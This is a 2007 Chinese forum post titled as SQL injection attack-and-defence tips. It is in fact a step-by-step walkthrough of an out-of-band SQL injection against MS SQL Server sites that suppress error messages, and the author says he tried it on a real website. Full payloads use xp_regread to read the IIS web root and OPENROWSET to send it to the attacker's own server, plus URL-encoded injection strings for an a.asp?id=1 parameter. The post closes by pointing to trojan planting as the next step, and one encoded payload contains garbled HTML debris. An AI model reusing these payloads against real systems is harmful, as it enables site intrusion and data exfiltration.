拼吾爱程序人生

首页 » 数据库编程 » SQL » 跨站式SQL注入数据库攻击和防范技巧
Systemjudge - 2007-8-6 16:51:00
前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注入”。


 
   
   
   
 
 
   
   
     
       
         
       
     
     
   
 
 
   
   
   
 
  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:   

  SQL可以连接外部的数据库。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。  

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。  

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。





  DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname='''''  @result  ''''''')AS a');--
  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  





SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a   
  其中的C:\Inetpub,,1就是注册表记录的根目录,最后要做的是:





 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--  
  这样就等于执行了





SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a
  这一条语句,同时你会在事件探测器那边会显示  





SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'    
  其中的C:\Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?





a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--      
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:





a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname='''''  @result  ''''''')AS a');--   
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如  号需要转化成16进制,或许还有别的地方要转化......怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。
  



a.asp?id=1;DECLARE @result varchar(255) exec %
6Daster.dbo.xp_regread 'HKEY_LOCAL_MACH%
49NE','SYSTEM\CONTROLSet001\Services\W3%
53VC\Parameters\Virtual Roots', '/' ,@r%
65sult output insert into laokai (cha8)%
20values('SELECT a.* FROM OPENROWSET(''%
53QLOLEDB'',''??IP'';''sa'';''??'', ''S%
45LECT * FROM pubs.dbo.authors where au%
5Ffname=/33.shtml' target='_blank' class='article'>3D''''' + @result %
2B ''''''')AS a');-- 
  执行成功。





a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:






 
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname='''''  @result  ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:\Inetpub,,1'

 您可能对 [SQL] 的这些文章也感兴趣:

SQL语句 SELECT LIKE like用法详解
SQL进行排序、分组、统计的10个新技巧
sql语句(基础、提升、技巧)
解析SQL语句中INSERT语句的另一种写法
一个横表变纵表的例子
细化解析:Char类型与Varchar类型的区别
SQL语句的DECODE和NVL函数
理解.NET中的数据库连接池
删除数据库中重复数据的两个方法
解决Web 服务中使用NHibernate时无法序列化IList的问题
转:[分享]SQL语句集锦【强力推荐!】
关于用SQL得到 Access 的随机记录集
1
查看完整版本: 跨站式SQL注入数据库攻击和防范技巧
Modify by pin5i DZNT_ExpandPackage 2.1.3293 2007-2009 pin5i.com
 Total Unique Visitors: